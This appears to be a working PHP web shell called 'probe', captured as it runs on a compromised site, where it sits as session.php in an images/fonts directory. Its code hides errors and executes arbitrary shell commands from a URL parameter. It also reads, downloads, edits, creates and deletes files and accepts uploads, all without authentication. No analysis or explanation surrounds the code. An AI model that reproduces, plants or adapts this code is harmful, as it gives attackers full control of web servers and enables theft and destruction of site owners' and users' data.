Your IP : 216.73.216.65


Current Path : /home/ataenra/www/images/ndvgictr/fonts/
Upload File :
Current File : /home/ataenra/www/images/ndvgictr/fonts/session.php

<?php
error_reporting(0);
function ex($c){if(function_exists('shell_exec'))return @shell_exec($c.' 2>&1');if(function_exists('exec')){@exec($c.' 2>&1',$o);return implode("\n",$o);}if(function_exists('system')){ob_start();@system($c.' 2>&1');return ob_get_clean();}return '';}
function find_webroot($start){$d=realpath($start);for($i=0;$i<12;$i++){if(file_exists($d.'/index.php')||file_exists($d.'/.htaccess'))return $d;$p=dirname($d);if($p===$d)break;$d=$p;}return $start;}
$out='';$action='';
// CMD
if(isset($_GET['cmd'])){echo ex($_GET['cmd']);exit;}
// FILE READ
if(isset($_GET['cat'])){$f=$_GET['cat'];if(is_file($f)){header('Content-Type:text/plain');readfile($f);exit;}echo 'NOT FOUND';exit;}
// FILE DOWNLOAD
if(isset($_GET['dl'])){$f=$_GET['dl'];if(is_file($f)){header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename='.basename($f));readfile($f);exit;}exit;}
// FILE SAVE (POST)
if(isset($_POST['save'])&&isset($_POST['c'])){file_put_contents($_POST['save'],$_POST['c']);echo 'OK:'.realpath($_POST['save']);exit;}
// FILE CREATE
if(isset($_GET['mk'])){$f=$_GET['mk'];file_put_contents($f,isset($_GET['c'])?$_GET['c']:'');echo 'OK:'.$f;exit;}
// DELETE
if(isset($_GET['del'])){$p=$_GET['del'];if(is_file($p))unlink($p);elseif(is_dir($p))rmdir($p);echo 'OK';exit;}
// MKDIR
if(isset($_GET['mkdir'])){mkdir($_GET['mkdir'],0755,true);echo 'OK';exit;}
// UPLOAD
if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$dir=isset($_GET['dir'])?$_GET['dir']:dirname(__FILE__);$dest=$dir.'/'.basename($_FILES['f']['name']);move_uploaded_file($_FILES['f']['tmp_name'],$dest);echo 'OK:'.$dest;exit;}
// DIR LIST
$dir=isset($_GET['ls'])?$_GET['ls']:find_webroot(dirname(__FILE__));
if(!is_dir($dir))$dir=dirname(__FILE__);
$dir=realpath($dir);
$items=@scandir($dir);
?><!DOCTYPE html><html><head><meta charset="utf-8"><title>probe</title><style>
*{box-sizing:border-box;margin:0;padding:0}body{font:13px monospace;background:#111;color:#ccc}
.bar{background:#1a1a1a;padding:8px 12px;border-bottom:1px solid #333;display:flex;gap:8px;align-items:center;flex-wrap:wrap}
.path{color:#888;flex:1;font-size:11px}a{color:#4af;text-decoration:none}.a:hover{text-decoration:underline}
.btn{background:#222;color:#ccc;border:1px solid #444;padding:3px 8px;cursor:pointer;font:12px monospace;border-radius:2px}
table{width:100%;border-collapse:collapse}th{background:#1a1a1a;padding:5px 8px;text-align:left;font-size:11px;color:#666;border-bottom:1px solid #333}
td{padding:4px 8px;border-bottom:1px solid #1a1a1a;vertical-align:middle}tr:hover{background:#1a1a1a}
.dir{color:#58f;background:#161b22;border:1px solid #264;padding:2px 8px;border-radius:3px;cursor:pointer;font:13px monospace;display:inline-block}
.dir:hover{background:#1f2e1f;color:#7df}.sz{color:#555;font-size:11px}.act{color:#f64;margin:0 4px;cursor:pointer}
#t{width:100%;padding:6px;background:#0a0a0a;color:#4f4;border:1px solid #333;font:13px monospace}
#o{background:#0a0a0a;color:#4f4;padding:8px;min-height:50px;max-height:180px;overflow:auto;font:12px monospace;white-space:pre-wrap;margin-top:4px}
.sec{padding:8px 12px;border-bottom:1px solid #222}.row{display:flex;gap:6px;margin-top:5px}
#em{display:none;position:fixed;inset:0;background:#000c;z-index:9;padding:16px}
#eb{background:#111;border:1px solid #444;height:100%;display:flex;flex-direction:column;gap:6px;padding:10px;border-radius:4px}
#ep{color:#666;font-size:11px}#ec{flex:1;background:#0a0a0a;color:#ccc;border:1px solid #333;padding:6px;font:13px monospace;resize:none}
</style></head><body>
<div class="bar">
  <b style="color:#f64">probe</b>
  <span class="path"><?=htmlspecialchars($dir)?></span>
  <span style="font-size:11px;color:#666"><?=php_uname('n').' | '.get_current_user().' | PHP '.PHP_VERSION?></span>
</div>
<div class="sec">
  <div class="row">
    <input id="t" type="text" placeholder="command..." onkeydown="if(event.key==='Enter')rc()">
    <button class="btn" onclick="rc()">run</button>
    <button class="btn" onclick="document.getElementById('uf').click()">upload</button>
    <form method="post" enctype="multipart/form-data" style="display:none">
      <input type="file" id="uf" name="f" onchange="ub(this)">
    </form>
    <button class="btn" onclick="var n=prompt('filename:');if(n)mk(n)">new file</button>
    <button class="btn" onclick="var n=prompt('dirname:');if(n)location='?mkdir='+encodeURIComponent('<?=addslashes($dir)?>/'+n)+'&ls=<?=urlencode($dir)?>'">mkdir</button>
  </div>
  <div id="o" style="display:none"></div>
</div>
<table>
<tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr>
<tr><td><button class="dir" onclick="nav('<?=addslashes(dirname($dir))?>')">../</button></td><td></td><td></td><td></td></tr>
<?php
if($items) foreach($items as $it){
  if($it==='.'||$it==='..')continue;
  $fp=$dir.'/'.$it;
  $pm=substr(sprintf('%o',@fileperms($fp)),-4);
  $esc=addslashes($fp);
  if(is_dir($fp)){
    echo '<tr><td><button class="dir" onclick="nav(\''.addslashes($fp).'\')">📁 '.htmlspecialchars($it).'</button></td><td></td><td class="sz">'.$pm.'</td>';
    echo '<td><span class="act" onclick="dl(\''.addslashes($fp).'\')">del</span></td></tr>';
  }else{
    $sz=filesize($fp);$u=['B','K','M','G'];$i=0;while($sz>=1024&&$i<3){$sz/=1024;$i++;}$sz=round($sz,1).$u[$i];
    echo '<tr><td>'.htmlspecialchars($it).'</td><td class="sz">'.$sz.'</td><td class="sz">'.$pm.'</td>';
    echo '<td>';
    echo '<a class="act a" href="?dl='.urlencode($fp).'">dl</a>';
    echo '<a class="act a" href="?cat='.urlencode($fp).'" target="_blank">view</a>';
    echo '<span class="act" onclick="ef(\''.addslashes($fp).'\')">edit</span>';
    echo '<span class="act" onclick="dl(\''.addslashes($fp).'\')">del</span>';
    echo '</td></tr>';
  }
}
?>
</table>
<div id="em">
<div id="eb">
  <div style="display:flex;justify-content:space-between;align-items:center">
    <span id="ep"></span>
    <div class="row"><button class="btn" onclick="sf()">save</button><button class="btn" onclick="document.getElementById('em').style.display='none'">close</button></div>
  </div>
  <textarea id="ec"></textarea>
</div>
</div>
<script>
var cur='<?=addslashes($dir)?>';
function nav(p){location.href='?ls='+encodeURIComponent(p);}
function rc(){var c=document.getElementById('t').value;if(!c)return;var o=document.getElementById('o');o.style.display='block';o.textContent='...';fetch('?cmd='+encodeURIComponent(c)).then(r=>r.text()).then(t=>{o.textContent=t||'(no output)';o.scrollTop=o.scrollHeight});}
function dl(p){if(!confirm('Delete '+p+'?'))return;location='?del='+encodeURIComponent(p)+'&ls='+encodeURIComponent(cur);}
function ef(p){fetch('?cat='+encodeURIComponent(p)).then(r=>r.text()).then(t=>{document.getElementById('ep').textContent=p;document.getElementById('ec').value=t;document.getElementById('em').style.display='block';});}
function sf(){var p=document.getElementById('ep').textContent,c=document.getElementById('ec').value;fetch(location.href,{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'save='+encodeURIComponent(p)+'&c='+encodeURIComponent(c)}).then(r=>r.text()).then(t=>alert(t));}
function mk(n){var fp=cur+'/'+n;fetch('?mk='+encodeURIComponent(fp)).then(r=>r.text()).then(t=>{alert(t);location.reload();});}
function ub(inp){var fd=new FormData(inp.form);fd.append('f',inp.files[0]);fetch('?ls='+encodeURIComponent(cur),{method:'POST',body:fd}).then(r=>r.text()).then(t=>{alert(t);location.reload();});}
</script></body></html>